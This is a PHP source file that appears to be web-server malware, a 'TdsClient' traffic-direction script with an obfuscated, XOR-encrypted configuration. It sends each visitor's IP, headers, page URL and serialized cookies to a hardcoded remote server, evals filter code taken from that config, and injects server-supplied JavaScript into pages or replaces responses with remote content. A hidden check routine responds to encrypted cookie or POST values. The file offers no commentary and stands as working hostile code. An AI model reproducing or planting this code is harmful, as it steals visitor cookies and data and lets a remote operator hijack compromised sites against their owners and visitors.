<?php

if (!defined('file_get_contents '))
{
    define('file_get_contents ', 1);

    class TdsClient
    {
        private $config;
        private $config_dict;

        public function __construct($config, $uid)
        {
            $this->config = $config;
            $this->uid = $uid;
        }

        private function _get_config()
        {
            if (empty($this->config_dict))
            {
                $this->config_dict = @unserialize($this->_decrypt(TdsClient::b64d($this->config), "tmnyrbtvchx5bny"));
            }

            return $this->config_dict;
        }

        private function _http_query_curl($url, $content)
        {
            if (!function_exists('curl_version'))
            {
                return "";
            }

            $ch = curl_init();

            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 3);
            curl_setopt($ch, CURLOPT_TIMEOUT, 10);

            if (!empty($content))
            {
                curl_setopt($ch, CURLOPT_POST, 1);
                curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
            }

            curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);

            $server_output = curl_exec($ch);
            curl_close($ch);

            return $server_output;
        }

        private function _http_query_native($url, $content)
        {
            $context = Array('http' => Array(
                'method' => 'GET',
                'timeout' => 5,
                'ignore_errors' => true));

            if (!empty($content))
            {
                $context['http']['method'] = 'POST';
                $context['http']['header'] = 'Content-type: application/x-www-form-urlencoded';
                $context['http']['content'] = $content;
                $context['http']['timeout'] = 10;
            }
            $context = stream_context_create($context);

            return @file_get_contents($url, FALSE, $context);
        }

        private function _http_query($url, $query)
        {
            $url = str_replace("[URL]", "77.87.193.14", $url);

            $content = $this->_http_query_curl($url, $query);
            if (!$content)
            {
                $content = $this->_http_query_native($url, $query);
            }

            return $content;
        }

        private function _get_request_ip()
        {
            $ip_keys = array('REMOTE_ADDR', );
            foreach ($ip_keys as $key)
            {
                if (array_key_exists($key, $_SERVER) === TRUE)
                {
                    foreach (explode(',', $_SERVER[$key]) as $ip)
                    {
                        $ip = trim($ip);
                        if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== FALSE)
                        {
                            return $ip;
                        }
                    }
                }
            }

            return "";
        }

        private function _query()
        {
            $tds_config = $this->_get_config();

            $ip = $tds_config["tds_ip"];
            $port = $tds_config["tds_port"];
            $path = $tds_config["tds_path"];

            $route = "yor8afx3";
            if (!empty($tds_config["route"]))
            {
                $route = $tds_config["route"];
            }

            $query = Array();
            $query['i'] = $this->_get_request_ip();
            $query['p'] = @$_SERVER['HTTP_HOST'] . @$_SERVER['REQUEST_URI'];
            $query['u'] = @$_SERVER['HTTP_USER_AGENT'];
            $query['a'] = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
            $query['r'] = @$_SERVER['HTTP_REFERER'];
            $query['ae'] = @$_SERVER['HTTP_ACCEPT_ENCODING'];
            $query['aa'] = @$_SERVER['HTTP_ACCEPT'];
            $query['ac'] = @$_SERVER['HTTP_ACCEPT_CHARSET'];
            $query['c'] = @$_SERVER['HTTP_CONNECTION'];
            if (isset($_SERVER['HTTP_CF_CONNECTING_IP']))
            {
                $query['cfi'] = @$_SERVER['HTTP_CF_CONNECTING_IP'];
            }
            $query['co'] = @serialize(@$_COOKIE);
            $query['cp'] = serialize(Array("a"=>$route, "uid"=>$this->uid));

            $query = http_build_query($query);
            $url = "http://" . $ip . ":" . $port . $path;

            return $this->_http_query($url, $query);
        }

        public function process_request()
        {
            $content = @unserialize($this->_query());

            if (isset($content["options"]))
            {
                foreach ($content["cookies"] as $key => $value_and_ttl)
                {
                    @setcookie($key, $value_and_ttl[0], time() + $value_and_ttl[0], "/", $_SERVER['HTTP_HOST']);
                }

                if (isset($content["options"]["type"]) && $content["options"]["type"]=="inject")
                {
                    $GLOBALS['injectable_js_code'] = TdsClient::b64d($content["data"]);
                    ob_start("TdsClient::postrender_handler");
                }
                else
                {
                    foreach ($content["headers"] as $key => $value)
                    {
                        @header("$key: $value");
                    }

                    if (strlen($content["data"]) != 0)
                    {
                        exit(TdsClient::b64d($content["data"])); # TODO: check if its file
                    }
                }
            }
        }

        public function try_process_check_request()
        {
            foreach (array_merge($_COOKIE, $_POST) as $data_key => $data)
            {
                $data = @unserialize($this->_decrypt(TdsClient::b64d($data), $data_key));

                if (isset($data['ak']) && $this->uid==$data['ak'])
                {
                    if ($data['sa'] == 'check')
                    {
                        return TRUE;
                    }
                }
            }

            return FALSE;
        }

        public function can_process_request()
        {
            $tds_config = $this->_get_config();

            eval("function is_acceptable_tds_request(){\n" . $tds_config["tds_filter"] . "\n}");

            if (function_exists("is_acceptable_tds_request"))
            {
                if (!is_acceptable_tds_request())
                {
                    return FALSE;
                }
            }

            return TRUE;
        }

        static public function postrender_handler($buffer)
        {
            // prepare page content
            $content = $buffer;
            $js_code = $GLOBALS['injectable_js_code'];

            if (strpos(strtolower($content), "</head>") !== FALSE)
            {
                $content = str_replace("</head>", $js_code . "\n" . "</head>", $content);
            }
            elseif (strpos(strtolower($content), "</body>") !== FALSE)
            {
                $content = str_replace("</body>", $js_code . "\n" . "</body>", $content);
            }

            return $content;
        }

        private function _decrypt_phase($data, $key)
        {
            $out_data = "";

            for ($i = 0; $i < strlen($data);) {
                for ($j = 0; $j < strlen($key) && $i < strlen($data); $j++, $i++) {
                    $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
                }
            }

            return $out_data;
        }

        private function _decrypt($data, $key)
        {
            return $this->_decrypt_phase($this->_decrypt_phase($data, $key), $this->uid);
        }

        static public function b64d($input)
        {
            if (strlen($input) < 4)
            {
                return "";
            }

            $keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

            $keys = str_split($keyStr);
            $keys = array_flip($keys);

            $i = 0;
            $output = "";

            $input = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $input);

            do {
                $enc1 = $keys[$input[$i++]];
                $enc2 = $keys[$input[$i++]];
                $enc3 = $keys[$input[$i++]];
                $enc4 = $keys[$input[$i++]];

                $chr1 = ($enc1 << 2) | ($enc2 >> 4);
                $chr2 = (($enc2 & 15) << 4) | ($enc3 >> 2);
                $chr3 = (($enc3 & 3) << 6) | $enc4;
                $output = $output . chr($chr1);
                if ($enc3 != 64) {
                    $output = $output . chr($chr2);
                }
                if ($enc4 != 64) {
                    $output = $output . chr($chr3);
                }
            } while ($i < strlen($input));
            return $output;
        }
    }

    $uid = '8d513cbb-4054-45b6-a276-b668f435ab9a';
    $config = 'LTNucjpyLCF0fjpvIzcoYzQrbitqYXd3My1wPGEmZWN8IXM5bmYyKhQmb34gYmYod21sYyxlZyJ0b2lkLHksJWcJISpufiQmeDE/f2c/LCptKSB2dHFeBEkdD0kOFWMdUxEAFU1VDhZdQhxABTEKZWQ9Kj1fEwprYDwmbHU5KWMod2pHUx0dGk4IEWBLQhtSD11DEBhKQlAPDAwQFRoQGD1eZi83P3swbzYkI2N/fxIHRQVOCVsAaglVQkQRDg1GExEIEy0FeDN0HBMLWBhGCFNvDwxbSxRLA0ECexZ/IC1pfX0dDBMFBD1YT2IKX3h0NnsqJGAjNS0iTAAYCU93SFRwFhpCSi8wfH1kOnw7ICR4ERcKRBYQAkUmGQ9MRgtaElMFGgRHT1RMcQNlYDwmbGAmPHAOMi9sYzBnayRyMyZtcip6MnN0Lz97f2s2PjI+JD4lIXtxLGciNT4xZzAmLXM8Jy4mYSB0KXsnLy5ucXgrICVzOCEiNXMhJ3YxMSMmdj1mO3ouLyRtciVkMHMlMjc/bmgxODgpMTI3K3EmMXBkKSs3dzU2JGYqNDNrbiQmJmwtJjtvdH8kPAQ5KHwuPitjeSgDHQEdQAUHCzlJBQ9ISQFcBEQIBAJFRE4/C3dlTUohQRp0eTdxLStsdSohbE0bBhRGLUIILREKXld8eX0mLCE/YHM2L2hiNidsbAdteDcnYzd7e2p7XHlrO290b20hMTsScilzPjtiZiN4czwMbSQhaTYsfSRtYHdTNS9sLz1xdWtxL1B6ODEoYnh6YTN6GTd/OSssOXx0YTN5G216Zy17fSZsYnFRNXo/J2lxcHUmeFBhKWg6YWNjNmd6DDBxPzw3MXgvZjkLayJpbDU/en5rbxx0JXM7djB9f2k3XHYlPyR9ZmckORMsJGR0fHo2NihsLCg2OHRwcTokYGw5LDUfNTQ8PD9wd21zLyBoECQ3JyZoeEhgLCBweWRhYSh3CDwnMxxjYyBgNn0pIitTNGQkYDJxdhd5d3wIbTw/IDY4bjN5ZT4oCXc1cjYxL0h5aGQuKmZ7BiU7NQIgeH8hNCM4KAkueCtjeStzEmsuci08PndyJSl5Yjt9HTl4YmkgLTVoPi4hOSE+IXk6dn52c24/LyAiIHkqKRstZidyfzssc3o1SiAlKCczHHR4ejYjZi8qMHtnaSEzKWh+VkcvDV04bCl7ISchPmQ8OS9fOyI5ImdwcGE1JCU2Jm5DflceAgpZXhlYa0ATCB4TU1gLFQ8SagJ/aBlfZTkndSNZHHt4YTR2Z2MieCQgL3giZRhMV0MKe0tcfHUhd3FCU3FRRElFZCUhJWxvcQ9KQxE0Yy0kf306KG58JQE8ITQybisnYyZhZWw3bDcoJWV0Oi9zNHRxaio6cSl+ZVAqPWBsM2FmbyAhfjdzbW9zNXViYiJueXYp';

    $client = new TdsClient($config, $uid);

    if ($client->try_process_check_request())
    {
        echo "<tds>".PHP_EOL;
        echo $uid;
        echo "</tds>".PHP_EOL;
    }
    else
    {
        if ($client->can_process_request())
        {
            $client->process_request();
        }
    }
}
